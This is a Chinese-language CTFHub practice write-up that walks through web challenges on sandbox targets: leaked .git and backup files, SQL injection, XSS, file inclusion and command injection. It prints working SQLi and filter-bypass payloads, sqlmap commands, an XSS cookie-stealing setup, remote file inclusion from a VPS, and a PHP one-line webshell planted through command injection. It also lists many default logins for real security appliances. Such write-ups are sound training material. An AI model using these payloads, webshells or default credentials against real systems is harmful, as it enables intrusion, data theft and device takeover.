CTFHUB刷题记录

WEB

web前置技能

HTTP协议

请求方式

bp抓包,更改请求方式

image-20211224210142665

302跳转
  • 考察http临时重定向

    (HTTP重定向:服务器无法处理浏览器发送过来的请求(request),服务器告诉浏览器跳转到可以处理请求的url上。浏览器会自动访问该URL地址,以至于用户无法分辨是否重定向了。)

image-20211224205803488

f12打开网络界面,点击链接,

右键image-20211224205907204

在cmd中执行得到flag

image-20211224205942007

  • 其中我们需要知道HTTP中的重定向和请求转发的区别

    ##转发是服务器行为,重定向是客户端行为。为什么这样说呢,这就要看两个动作的工作流程:##

    转发过程:客户浏览器发送http请求——>web服务器接受此请求——>调用内部的一个方法在容器内部完成请求处理和转发动作—>将目标资源发送给客户;

    在这里,转发的路径必须是同一个web容器下的url,其不能转向到其他的web路径上去,中间传递的是自己的容器内的request。在客户浏览器路径栏显示的仍然是其第一次访问的路径,也就是说客户是感觉不到服务器做了转发的。转发行为是浏览器只做了一次访问请求。

    重定向过程:客户浏览器发送http请求——>web服务器接受后发送302状态码响应及对应新的location给客户浏览器——>客户浏览器发现是302响应,则自动再发送一个新的http请求,请求url是新的location地址——>服务器根据此请求寻找资源并发送给客户。

    在这里location可以重定向到任意URL,既然是浏览器重新发出了请求,则就没有什么request传递的概念了。在客户浏览器路径栏显示的是其重定向的路径,客户可以观察到地址的变化的。重定向行为是浏览器做了至少两次的访问请求的。

    重定向,其实是两次request

    第一次,客户端request A,服务器响应,并response回来,告诉浏览器,你应该去B。这个时候IE可以看到地址变了,而且历史的回退按钮也亮了。重定向可以访问自己web应用以外的资源。在重定向的过程中,传输的信息会被丢失。

因为题目说只有admin才能得到flag,通过查看cookie,得知admin的值为0,则通过抓包将admin的值改为1,得到flag

image-20211224211228344

基础认证

相关文章:https://zhuanlan.zhihu.com/p/64584734

通过题目所给的字典进行爆破,找出长度不同的包,得到flag

image-20211224221055480

image-20211224221036581

image-20211224221141465

响应包源代码

查看页面源代码得到flag

信息泄露

目录遍历

image-20211224221851647

查看flag.txt得到flag

PHPINFO

查看phpinfo

image-20211224222236946

找到flag

备份文件下载
网站源码

通过访问www.zip下载得到flag_3128822888.txt,打开却是where is flag?

在url上访问该目录,得到flag:

ctfhub{56ddcc138d819e15e1a42dba}

bak文件

访问index.php.bak下载文件打开得到flag

image-20211224225338656

vim缓存

拿到这道题开始很懵逼,通过查阅资料得知,vim在编辑文档的过程中如果异常退出,会产生缓存文件,产生的缓存文件后缀为.swp访问index.php.swp,发现404,原来是因为

.swp是隐藏文件,这类文件的调用前面都需要加一个. ,于是执行命令vim -r index.php.swp,结果在我的windows下使用执行不了vim,应该是需要安装,索性用kali执行,得到flag。

.DS_Store

同理,url后面添加.DS_Store,将文件下载下来,cat一下得到flag

git泄露
log

dirsearch扫描发现image-20220111162419886

使用githack python GitHack.py http://challenge-7f4c7b9df98a43f3.sandbox.ctfhub.com:10800/.git image-20220111162944095

将目录的源代码弄到本地,进入dist的该目录,执行git log

image-20220111163351770

执行对比命令image-20220111163543896

得到flag

stash

dirsearch执行python3 dirsearch.py -u url扫描得到image-20220111170954174

githarkpython GitHack.py http://challenge-78d21b3ec9ad4a98.sandbox.ctfhub.com:10800/.git

image-20220111171139892

接下来git stash list

发现存在stash文件,于是git stash pop得到image-20220111171642285

发现flagimage-20220111171707524

index

与上同理,用dirsearch和githack处理后,在文件夹中得到flagimage-20220111172517053

SVN泄露

由于工具的原因,没有成功做出来,不过这题不算难,就不写wp了

HG泄露

这题要同样要用到dvcs-ripper,所以不继续做了

密码口令

弱口令

一个弱口令爆破,没啥难度,带入字典爆破就行了,不过我的bp是社区版的,单线程爆破太慢,这里我就不做了

默认口令

默认口令直接上网查找img

下面是一些常见的网络安全设备默认密码

默认账号 默认密码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
深信服产品	sangfor	sangfor
sangfor@2018
sangfor@2019
深信服科技 AD dlanrecover
深信服负载均衡 AD 3.6 admin admin
深信服WAC ( WNS V2.6) admin admin
深信服VPN Admin Admin
深信服ipsec-VPN (SSL 5.5) Admin Admin
深信服AC6.0 admin admin
SANGFOR防火墙 admin sangfor
深信服AF(NGAF V2.2) admin sangfor
深信服NGAF下一代应用防火墙(NGAF V4.3) admin admin
深信服AD3.9 admin admin
深信服上网行为管理设备数据中心 Admin 密码为空
SANGFOR_AD_v5.1 admin admin
网御漏洞扫描系统 leadsec leadsec
天阗入侵检测与管理系统 V7.0
Admin venus70
Audit venus70
adm venus70
天阗入侵检测与管理系统 V6.0
Admin venus60
Audit venus60
adm venus60
网御WAF集中控制中心(V3.0R5.0)
admin leadsec.waf
audit leadsec.waf
adm leadsec.waf
联想网御 administrator administrator
网御事件服务器 admin admin123
联想网御防火墙PowerV administrator administrator
联想网御入侵检测系统 lenovo default
网络卫士入侵检测系统 admin talent
网御入侵检测系统V3.2.72.0
adm leadsec32
admin leadsec32
联想网御入侵检测系统IDS
root 111111
admin admin123
科来网络回溯分析系统 csadmin colasoft
中控考勤机web3.0 administrator 123456
H3C iMC admin admin
H3C SecPath系列 admin admin
H3C S5120-SI test 123
H3C智能管理中心
admin admin
H3C ER3100 admin adminer3100
H3C ER3200 admin adminer3200
H3C ER3260 admin adminer3260
H3C admin adminer
admin admin
admin h3capadmin
h3c h3c
360天擎 admin admin
网神防火墙 firewall firewall
天融信防火墙NGFW4000 superman talent
黑盾防火墙 admin admin
rule abc123
audit abc123
华为防火墙 telnetuser telnetpwd
ftpuser ftppwd
方正防火墙 admin admin
飞塔防火墙 admin 密码为空
Juniper_SSG__5防火墙 netscreen netscreen
中新金盾硬件防火墙 admin 123
kill防火墙(冠群金辰) admin sys123
天清汉马USG防火墙
admin venus.fw
Audit venus.audit
useradmin venus.user
阿姆瑞特防火墙 admin manager
山石网科 hillstone hillstone
绿盟安全审计系统
weboper weboper
webaudit webaudit
conadmin conadmin
admin admin
shell shell
绿盟产品 nsfocus123
TopAudit日志审计系统 superman talent
LogBase日志管理综合审计系统 admin safetybase
网神SecFox运维安全管理与审计系统 admin !1fw@2soc#3vpn
天融信数据库审计系统 superman telent
Hillstone安全审计平台 hillstone hillstone
网康日志中心 ns25000 ns25000
网络安全审计系统(中科新业) admin 123456
天玥网络安全审计系统 Admin cyberaudit
明御WEB应用防火墙 admin admin
admin adminadmin
明御攻防实验室平台 root 123456
明御安全网关 admin adminadmin
明御运维审计与册风险控制系统
admin 1q2w3e
system 1q2w3e4r
auditor 1q2w3e4r
operator 1q2w3e4r
明御网站卫士
sysmanager sysmanager888
亿邮邮件网关
eyouuser eyou_admin
eyougw admin@(eyou)
admin +-ccccc
admin cyouadmin
Websense邮件安全网关 administrator admin
梭子鱼邮件存储网关 admin admin

SQL注入

SQL注入类型大多只要运用好sqlmap都是能够跑出来的,不过我们学习过程中还是用手注好一些,不过sqlmap的基本操作也需要掌握

整数型注入

当输入1 order by 1及1 order by 2时都能得到正常回显,当改为1 order by 3时不能得到正常回显,说明列数为2,则使用1 union select 1,2,发现正常回显,将其改为,

image-20220111185058128

发现data的值变成了2,所以可以通过改变2的语句来进行注入,

-1 union select 1,database(),得到image-20220111185330281

说明有用,继续,直接查看所以库名

-1 union select 1,group_concat(schema_name)from information_schema.schemata

这里的group_concat()用于连接这些库名的字符串,而information_schema.schemata,这个里面存放的则是所有数据库名,

如果存在长度限制,那么可以通过

select schema_name from information_schema.schemata limit 0,1逐条获取,接下来

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=’sqli’得到image-20220111190134101

直接查flag表-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=’sqli’ and table_name=’flag’

继续查flag字段-1 union select 1,group_concat(flag) from sqli.flag

得到flag

字符型注入

这里为字符型注入,所以需要注释将后面的引号注释掉

可以用–+或者#进行注释,后面的操作和整数型输入没啥区别了,

同样是先判断列数,由于是同一个数据库,所以这些东西应该都没变,直接套用修改一下就可拿到flag

' union select 1,group_concat(flag) from sqli.flag#

这里我用–+没有成功,不过用– (这里有个空格)成功了。之前记得是–+,原来是因为+在url里面编码为空格,所以注释应该是#或者–(这里有空格)

报错注入

之前极客大挑战也有一个报错注入的题

直接 1 Union select count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;

同样,继续查表,

1 Union select count(*),concat((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x

image-20220117120611546

后面操作也同样只用改改payload就行了,由于数据库一样,我直接查了flag1 Union select count(*),concat((select flag from flag limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x

image-20220117120741010

布尔盲注

由于页面只返回两个结果,对或错,那么这就只能通过一个个对比ascii码来进行注入,由于知道数据库为sqli,所以首先试试1 and (length(database()))=4,然后试试1 and ascii(substr(database(),1,1))=115

如果不知道数据库名的话,可以通过二分法来折半查找,就是工作量有点大就是了,可以写脚本来操作,不过我不太会,所以知道原理了,直接拿sqlmap跑了。

python sqlmap.py -u http://challenge-d76cdeeff06f3afb.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump

image-20220117151927946

时间盲注

时间盲注就不得不用到sleep()这个函数,于是输入if(substr(database(),1,1)='s',sleep(3),1)

发现页面有一定时间的等待,所以语句成立。

同样如果一个一个注入太费时间了,清楚原理了就行,这里直接上脚本python sqlmap.py -u http://challenge-46e81b950a7df771.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump

image-20220119135226706

MYSQL结构

这道题我不知道考察什么,就常规的语句1 order by 2试了一下,然后也是常规的注入,不过这次我直接用插flag的语句没有成功,所以还是得一步一步来,先数据库-1 union select database(),2

接着-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

image-20220119141214928

继续-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='hjrhulnume'

image-20220119141320300

-1 union select 1,group_concat(kvuzromifm) from hjrhulnume

image-20220119141426492

Cookie注入

抓包修改cookie进行注入

id=-1 union select database(),version();

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='ddoavgqppz'

1
-1 union select 1,group_concat(ntlchzrftc) from ddoavgqppz

image-20220119150421549

过滤空格

由于这道题将空格过滤了,于是用/**/注释符号来代替空格的作用,

-1/**/union/**/select/**/database(),2

-1/**/union/**/select/**/group_concat(table_name),2/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'

1
2
-1/**/union/**/select/**/group_concat(column_name),2/**/from/**/information_schema.columns/**/where/**/table_name='lzsgmohfpc'

1
-1/**/union/**/select/**/ckeyngfhux,2/**/from/**/lzsgmohfpc

image-20220119151848701

UA注入

和cookie注入类似,这次注入点在User-Agent里

image-20220119152724059

image-20220119152735004

image-20220119153320260

image-20220119153339075

接下来都是重复的操作了

查字段查flag

image-20220119153511323

image-20220119153520001

image-20220119153609629

image-20220119153616284

Referer注入

同样,在抓到的包里面添加一个Referer:进行注入

image-20220119154529374

image-20220119154535618

image-20220119154621899

image-20220119154630565

image-20220119154840561

image-20220119154849519

XSS

image-20220119160407473

能够通过输入的东西改变页面,于是<script>alert(1)</script>

得到了弹窗,于是在xss platform(xsscom.com)上面创建一个项目,得到这个image-20220119160654130

在第一个框中提交

接着将提交后的url放入第二个框中image-20220119160825146

image-20220119160834235

再在平台上面查看,成功在cookie中得到flag

RCE

eval执行

给cmd赋一个值,直接执行一个系统命令

1
?cmd=system('ls ../../../');

image-20220323021420270

1
?cmd=system('cat ../../../flag_8890');

image-20220323021516030

文件包含

1
<?php eval($_REQUEST['ctfhub']);?>

有个shell.txt,访问发现有个参数ctfhub,于是利用文件包含,

1
?file=shell.txt&ctfhub=system('ls');

查目录,

1
?file=shell.txt&ctfhub=system('cat ../../../flag');

php://input

php://input 是个可以访问请求的原始数据的只读流.可以接收post请求作为输入流的输入,将请求作为PHP代码的输入传递给目标变量,以达到以post 的形式进行输入的目的。

查看phpinfo,发现这两是打开的,说明方法可行

image-20220323022902971

image-20220323022800329

image-20220323022944285

读取源代码

这道题遇到过很多次同种类型了,用伪协议读取直接

1
?file=php://filter/read=convert.base64-encode/resource=/flag

image-20220323023639259

再进行一个base64解码即可得到flag

远程包含

在vps上创建一个文件写好系统命令,进行远程包含

1
?file=http://xxx.xx.xx.xx/1.txt

image-20220323024358532

得到flag

命令注入

看到有个php,于是

1
127.0.0.1 & cat 88281526027669.php

ping后无回显,于是base64转码一下,成功得到回显image-20220323024907882

不过我还看到一个操作,也是可行的

1
127.0.0.1 &echo "<?php @eval(\$_POST['a']);?>" >> shell.php

直接写个马进去

蚁剑成功连接上image-20220323025634684

这里可以看见,flag是被注释掉了,难怪第一种方法没有回显

过滤cat

过滤cat关我tac什么事

1
127.0.0.1 & tac flag_104451206227791.php|base64

image-20220323030114451写马的方式也一样能用

1
127.0.0.1 &echo "<?php @eval(\$_POST['a']);?>" >> shell.php

image-20220323030316086

过滤空格

能代替空格的可就太多了,这里我们用的是${IFS}

?ip=127.0.0.1${IFS}%26${IFS}ls#

image-20220323030703618

1
127.0.0.1${IFS}&${IFS}cat${IFS}flag_22372299923305.php|base64

image-20220323031022662

过滤目录分隔符

1
127.0.0.1 & cd flag_is_here;ls;
1
127.0.0.1 & cd flag_is_here;cat flag_20743402023207.php|base64

但是思来想去,这些过滤都没有防范我写马进去,甚至payload都不用变

1
127.0.0.1 &echo "<?php @eval(\$_POST['a']);?>" >> shell.php

过滤运算符

&被过滤,用;代替

1
127.0.0.1;ls

127.0.0.1;cat flag_35923221712564.php|base64 = 127.0.0.1;base64 flag_35923221712564.php

1
127.0.0.1;base64 flag_7518163641606.php

一样的可以写马

综合过滤练习

就是一个疯狂加过滤的题,考虑使用编码绕过

1
?ip=127.0.0.1%0als
1
?ip=127.0.0.1%0acd${IFS}f???_is_here%0als
1
?ip=127.0.0.1%0acd${IFS}f???_is_here%0abase64${IFS}f???_8886214875044.php%0a